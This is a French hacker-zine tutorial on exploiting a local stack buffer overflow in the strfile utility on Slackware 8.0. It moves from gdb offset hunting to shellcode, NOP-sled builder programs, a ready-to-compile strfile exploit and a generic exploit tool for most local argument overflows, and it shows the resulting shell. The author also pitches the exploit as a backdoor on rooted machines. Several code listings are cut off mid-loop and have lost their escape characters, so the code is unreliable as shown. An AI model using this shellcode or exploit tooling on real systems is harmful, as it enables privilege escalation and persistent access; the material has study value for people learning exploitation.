Cet article (extrait de mindkind) traite de comment faire un buffer overflow sur un exécutable
linux i386 ia32 local. Contrairement aux articles déjà paru sur les buffers
overflow de type local, il n'utilise pas d'exemple préfab. il tente
d'exploiter strfile, un utilitaire du package bsd-games
(fortune cookie) dans un environnement linux slackware 8.0 . L'accent est mit
sur le comment plus que le pourquoi, le but de cet article étant de démontrer
en milieu réel la création d'un exploit de type buffer overflow local. Là où ça
se passe vraiment quoi. Des connaissances minimums en système
d'exploitation linux et en programmation (les codes présentés ici seront en C
et ASM, mais la non-connaissance de ces langages n'entraîne pas automatiquement
une non-compréhension de cet article, il est tout à fait possible de comprendre
les exemples donnés si vous pratiquez déjà la programmation sous un autre
langage). Vous pouvez donc voir cet article comme une vulgarisation des buffers
overflow.
Voir la suite pour la suite ... (arf)
Cet article traitera de comment faire un buffer overflow sur un exécutable
linux i386 ia32 local. Contrairement aux articles déjà paru sur les buffers
overflow de type local, nous n'utiliserons pas d'exemple préfab. Nous tenterons
(et réussirons) d'exploiter strfile, un utilitaire du package bsd-games
(fortune cookie) dans un environnement linux slackware 8.0 . L'accent sera mit
sur le comment plus que le pourquoi, le but de cet article étant de démontrer
en milieu réel la création d'un exploit de type buffer overflow local. Là où ça
se passe vraiment quoi. Des connaissances minimums en système
d'exploitation linux et en programmation (les codes présentés ici seront en C
et ASM, mais la non-connaissance de ces langages n'entraîne pas automatiquement
une non-compréhension de cet article, il est tout à fait possible de comprendre
les exemples donnés si vous pratiquez déjà la programmation sous un autre
langage). Vous pouvez donc voir cet article comme une vulgarisation des buffers
overflow. L'accent sera donc mit sur ce qui est important pour réussir. Je
proposerais aussi une solution tout en un qui permettra d'exploiter la plupart
des buffers overflow d'argument local avec un seul exploit. Strfile n'est pas
suid root, mais on peut se servir de cet exploit comme une backdoor sur une
machine déjà rooté.
L'article sera séparé en 2 parties majeures, la première partie, théorique,
récapitule de façon généralisé ce qui est nécessaire de savoir. Cette théorie a
déjà été expliqué de différentes façons, je la reprends donc ainsi a la mienne
en tant qu'introduction à l'exploit de strfile. Nous en venons donc à la 2ème
section qui traitera de l'exploitation de strfile de façon pratique et se
terminera par la confection d'un exploit en C.
La théorie
Un buffer overflow se produit lorsqu'on tente d'écrire en mémoire le contenu
d'une variable dont la grandeur en bytes dépasse celle prévue à cet effet par
le programme lui-même. Les données qui se retrouverons en surplus iront
réécrire par dessus les valeurs précédentes dans la stack (la stack étant la
partie de mémoire où sont stockés les arguments et les variables locales).
Pourquoi celle qui précède ? Et bien car dans la stack tout ce qui est
inscrit débute à la fin, un peu comme lorsqu'un arabe écrit. Donc la première
variable à entrer sera à la fin de la stack. Ensuite la deuxième variable
viendra s'ajouter "en dessous". Mais pourquoi donc si la 2ème variable est
overflowée son contenu viendra se déverser dans la première ? Et bien c'est que
dans chaque variable le contenu est écrit du bas vers le haut dans l'espace
allouée à cette variable.
wtf ?
Un ascii s'impose afin de mieux digérer tout ça.
End of user Memory
,----------------,
| | bon la stack est la zone situer à la fin de la mémoire
| S | | allouée par le OS à un process. Dans cette zone sont
| T | | situées toute les variables utilisées par le process.
| A | | Pour une procédure qui contient 4 variables, la première
| C | | s'installera dans le haut de la stack la 2ième viendra
| K | | ensuite en dessous de la première et la 3ième en dessous
| | | de la 2ième et ainsi jusqu'à la fin.
| | |
| / |
| ' |
|________________|
End of user Memory
,----------------,
|1ère procédure |
S | | var1 / |
T | | var2 | |
A | | var3 | |
C | | var4 | |
K | |________________|
| |2ième procédure |
| | var1 / |
/ | var2 | |
' | var3 | |
| var4 | |
| |
____ ,-------------------------------------------------
/ | Bien que ça ne soit pas nécessaire à la réussite
| _ | | d'un buffer overflow local, certains d'entre vous
| / | | aimeraient sans doute avoir un supplément
|| | | / d'information sur la stack et l'organisation de la
(.) (.)| / mémoire en général.
|| | |
main (int argc, char *argv[])
{
char buffer1[20];
char buffer2[256];
if (argc > 2)
{
strcpy(buffer1,argv[1]);
strcpy(buffer2,argv[2]);
}
else
{
printf("this crap needs 2 arguments
");
}
}
Donc dans ce code, si l'on passe en argument à buffer1 une valeur de plus de
256 bytes, le surplus va déborder dans buffer2 et le programme va continuer son
exécution normalement (puisque ce code ne s'attend à aucune valeur en
particulier et ne fait rien d'autre que de copier arg1 en mémoire (a
l'intérieur de buffer1).
Nous allons donc essayer à l'aide de gdb et d'une fonction pratique en Perl de
trouver à quel endroit se trouve le eip du code précédant. Lorsque se sera
fait, nous pourrons nous attaquer à strfile et créer l'exploit.
Le caractère "`" permet de passer une autre commande en argument, c'est donc le
résultat de la commande entre `` qui apparaîtra et non la commande elle même.
Perl possède le même genre de caractère "'" qui permet les même fonctions,
comme c'est 2 balises sont différentes, il nous est donc possible de passer le
résultat d'une commande à une autre commande afin d'arriver à un résultat
global.
Ex:
[encoder@localhost encoder]$ echo `perl -e 'print "A"x20'`
AAAAAAAAAAAAAAAAAAAA
[encoder@localhost encoder]$
Ainsi nous avons passé en commentaire à la commande echo 20 A. Nous nous
servirons de cette particularité afin de construire nos buffers tests qui nous
servirons à identifier le nombre de bytes nécessaire pour réécrire eip.
[encoder@localhost test]$ gdb test2 -q
(gdb) r `perl -e 'print "B"x20'` `perl -e 'print "A"x304'`
Starting program: /home/encoder/hack/test/test2 `perl
-e 'print "B"x20'` `perl -e 'print "A"x304'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) p $eip
$1 = (void *) 0x41414141
(gdb)
(41 étant la valeur hexadécimal de A, on sait donc ainsi qu'on a réécrit 4 "A"
sur la valeur de eip)
Comment savoir le nombre de bytes nécessaire pour remplir un buffer ? He bien,
il suffit de compter.
eip(4bytes) + ebp(4bytes) + int argc(4bytes) +
char* argv[1](3 x 4bytes (2 argument + prog name)) + buffer1(20bytes) +
buffer2(256bytes)
donc 4 + 4 + 4 + 12 + 20 + 256 = 300
Je dois spécifier que je travail sur un système red hat, et que red hat afin de
se protéger des nombreux exploits déjà existant a son égard fait ajouter une
valeur de 4 bytes après le ebp. Ainsi donc nous arrivons enfin à notre 304
bytes de buffer. Sous un système slackware, comme nous tenterons d'exploiter
plus tard, notre buffer aurait été de 300bytes.
Il faut aussi savoir que dans la stack toute les variables sont paddées a 4
bytes. Donc toute les buffers auront nécessairement un multiple de 4 comme
grandeur.
Une autre façon plus brainless de trouver la réponse aurait été de bruteforcer
carrément la grandeur du buffer.
[encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x256'`
[encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x266'`
[encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x276'`
[encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x286'`
[encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x296'`
[encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x306'`
Segmentation fault (core dumped)
[encoder@localhost test]$ gdb -c core.11024 -q
Core was generated by `./test2 BBBBBBBBBBBBBBBBBBBB AAAAAAAAAAAAAAAAAAAAAAAA...'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) quit
306 n'étant pas un multiple de 4, nous pouvons savoir qu'il est impossible que
le eip soit correctement écrasé avec un padding de la sorte.
[encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x300'`
Segmentation fault (core dumped)
[encoder@localhost test]$ gdb -c core.11032 -q
Core was generated by `./test2 BBBBBBBBBBBBBBBBBBBB AAAAAAAAAAAAAAA
AAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x42015800 in ?? ()
(gdb) quit
A 300 on ne retrouve pas nos AAAA (41414141) c donc dire que nous n'avons pas
réécrit eip.
[encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x304'`
Segmentation fault (core dumped)
[encoder@localhost test]$ gdb -c core.11040 -q
Core was generated by `./test2 BBBBBBBBBBBBBBBBBBBB AAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb)
Ici à 304 nous nous rendons compte que nous avons effectivement réécrit eip,
afin de nous assurer que nous ne nous sommes pas trompé nous allons donner
comme argument un padding de 300 A et de 4 Z afin de s'assurer que s'assurer
que les 4 derniers bytes de notre buffer overflow recouvre bien le eip.
[encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x300'`ZZZZ
Segmentation fault (core dumped)
[encoder@localhost test]$ gdb -c core.11743 -q
Core was generated by `./test2 BBBBBBBBBBBBBBBBBBBB AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x5a5a5a5a in ?? ()
(gdb)
Operation successfull, on vient de trouver le eip.
____ ,-------------------------------------------------
/ | Certain d'entre vous qui connaissent mal ou pas
| _ | | du tout GDB apprécieraient sûrement une petite
| / | | explication de ce qui c'est passé ici.
|| | | /
(.) (.)| /
|| | |
main(int argc,char* argv[]) {
int x;
if (argc > 1)
{
// A X nbr argument(argv[1]) (perl -e 'print "A"x300') (0x42)
for (x=0;x
main(int argc,char*argv) {
char shellcode[] =
"x33xc0x31xdbxb0x17xcdx80"
"x31xc0x50x68//shx68/binx89xe3"
"x50x53x89xe1x99xb0x0bxcdx80";
printf("lenght of %d
", strlen(shellcode));
}
root@Rewter:~/tool# gcc length.c -o len
root@Rewter:~/tool# ./len
lenght of 32
Nous savons maintenant que notre shellcode a une grosseur de 32
bytes. Nous pouvons donc assumer avec certitude qu'il nous faudra
4112 bytes de nop pour compléter notre buffer (il ne faut pas
oublier que l'adresse qui réécrit eip prend 4bytes).
eip : C'est dans les 4 bytes du eip que se trouve l'adresse de retour. Il
nous faut donc trouver une adresse mémoire au milieu de nos nop. pour ce
faire nous utiliserons gdb et un petit code en c qui ressemble beaucoup a
notre code de padding, sauf que au lieu de créer des A il créer des nop.
//nop.c
//padding de nop dans un buff
#include
main(int argc,char* argv[]) {
int x;
if (argc > 1)
{
// 0x90 X nbr argument(argv[1]) (perl -e 'print "A"x300') (0x42)
for (x=0;x
unsigned long getesp()
{
__asm__("movl %esp, %eax");
}
main(int argc, char* argv[])
{
unsigned long esp;
char* ret;
esp = getesp();
if (argc > 1)
esp += atoi(argv[1]);
ret = &esp;
printf("%c%c%c%c",ret[0],ret[1],ret[2],ret[3]);
}
Maintenant que nous avons la possibilité de réécrire le eip avec une adresse
qui jumpera au début de notre buffer. l'offset est un nombre qu'on passe en
argument que l'exploit addition a l'adresse hexadécimal afin de permettre un
peu de souplesse a l'exploit. de petite variation pouvant arriver d'un système
a l'autre il est toujours pratique d'avoir la chance de jumper a une adresse
plus haute en mémoire. Nous sommes maintenant prêt à bâtir un buffer que nous
copierons dans un tird part text, dont nous nous servirons comme argument à
passer à strfile.
Dans un premier temps il nous faudra un code qui output notre shellcode pour
ensuite le passer en argument à un programme qui assemblera nop shellcode et
eip.
//shellcode.c
//print le shellcode pour le passer en arguement
#include
char shellcode[] =
"x33xc0x31xdbxb0x17xcdx80"
"x31xc0x50x68//shx68/binx89xe3"
"x50x53x89xe1x99xb0x0bxcdx80";
main()
{
printf("%s",shellcode);
}
//build_buf.c
//assemble le buffer (nop + shellcode + ret (eip)
#include
main(int argc, char* argv[])
{
int buffer_size;
char* shellcode;
char* ret;
int x,y;
if (argc > 3)
{
buffer_size = atoi(argv[1]);
shellcode = argv[2];
ret = argv[3];
x = buffer_size;
x -= strlen(shellcode);
for (y=0;y buf
root@Rewter:~/tool# strfile `cat buf`
sh-2.05#
Tadam on vient de réussir un buffer overflow. nous n'avons pas eu besoin
d'offset, mais jumper à l'intérieur d'une zone de 4148 bytes est quelque chose
d'assez facile à faire. ce n'est pas l'espace qui manque.
Noter que strfile ne possède pas de suid root, donc l'exploit ne donnera pas le
root, il va seulement conserver les privilèges que vous avez déjà. ici je lai
lancer root, c'est pourquoi je suis root. cependant il n'existe pas de
différence au niveau code pour exploiter un programme suid 0 d'un programme
non-suid 0.
Maintenant que nous avons une vague idée de ce a quoi notre exploit ressemble
nous allons en bâtir un static pour strfile. qui sera compilable et
distribuable.
//mkd_strfile.c
//exploit static pour slackware 8.0 strfile (bsdgame package)
#include
//location du bin a exploiter
#define PATH "/usr/bin/strfile"
//grandeur du buffer total
#define BUFFER 4148
//addresse de retour (pour ecraser eip)
#define RET "xbfxffxebx58"
main (int argc,char* argv[])
{
char shellcode[] =
"x33xc0x31xdbxb0x17xcdx80"
"x31xc0x50x68//shx68/binx89xe3"
"x50x53x89xe1x99xb0x0bxcdx80";
char nop[] = "x90";
int x;
char* payload;
//creation du padding de nop
for (x=1;x
#include
unsigned long getesp()
{
__asm__("movl %esp, %eax");
}
main(int argc, char* argv[])
{
int buffer_size, i;
char shellcode[] =
"x33xc0x31xdbxb0x17xcdx80"
"x31xc0x50x68//shx68/binx89xe3"
"x50x53x89xe1x99xb0x0bxcdx80";
char nop[] = "x90";
char* path;
char* buff;
char* payload;
char* redhat;
unsigned long ret;
if (argc > 4)
{
/*definition des variable*/
path = argv[1];
buffer_size = atoi(argv[2]);
redhat = argv[4];
/*mettre laddresse memoir de %esp dans esp*/
ret = getesp();
/*calcule du ret*/
ret += atoi(argv[3]);
buff = malloc(4096);
payload = buff;
/*padding du payload*/
if (*redhat == 'n')
{
for (i=0;i 5)
{
printf("trying to exploit %s %s
", &path[0], argv[5]);
}
else
{
printf("trying to exploit %s
", &path[0]);
}
printf("a buffer of %d
", buffer_size);
printf("using a shellcode of %d
", strlen(shellcode));
printf("with a padding of %d
", buffer_size-strlen(shellcode)-4);
printf("and an offset of %d
", atoi(argv[3]));
printf("jumping to 0x%x
", ret);
printf("payload lenght %d
", strlen(payload));
if (argc > 5)
{
execl(path, "genericbuf", argv[5], payload, NULL);
}
else
{
execl(path, "genericbuf", payload, NULL);
}
}
else
{
printf("usage is ./buf_generic_x86 path_to_vuln
buffer_size offset redhat_flag(y/n) [argument]
");
}
}
Ce code prend en compte les 4 bytes de trop sous un système red hat, pour vous
montrez son fonctionnement j'exploiterais strfile à nouveau. Mais en utilisant
buf_generic_x86 au lieu de mkd_strfile
root@Rewter:~/tool# ./buf_generic_x86
usage is ./buf_generic_x86 path_to_vuln buffer_size offset redhat_flag(y/n) [argument]
root@Rewter:~/tool# ./buf_generic_x86 /usr/bin/strfile 4148 0 n
trying to exploit /usr/bin/strfile
a buffer of 4148
using a shellcode of 32
with a padding of 4112
and an offset of 0
jumping to 0xbffff94c
payload lenght 4148
sh-2.05#
Et pour la 3ième fois dans cet article, nous avons réussi à exploiter strfile.
comme vous avez pu remarquer, il existe plus qu'une façon d'arriver a exploiter
un buffer overflow local. J'espère que ce texte vous aura apporter quelque
chose ne serais-ce que le buf_generic.c si vous saviez deja faire des buffers
overflow. sinon, he bien, peu être aurez vous trouvez le complément qui
manquais au doc existant pour arriver à votre fin.
Greets : __2 avec qui j'ai construit les tools en C qui permettent de créer un
buffer dans un file.
Wyzeman
|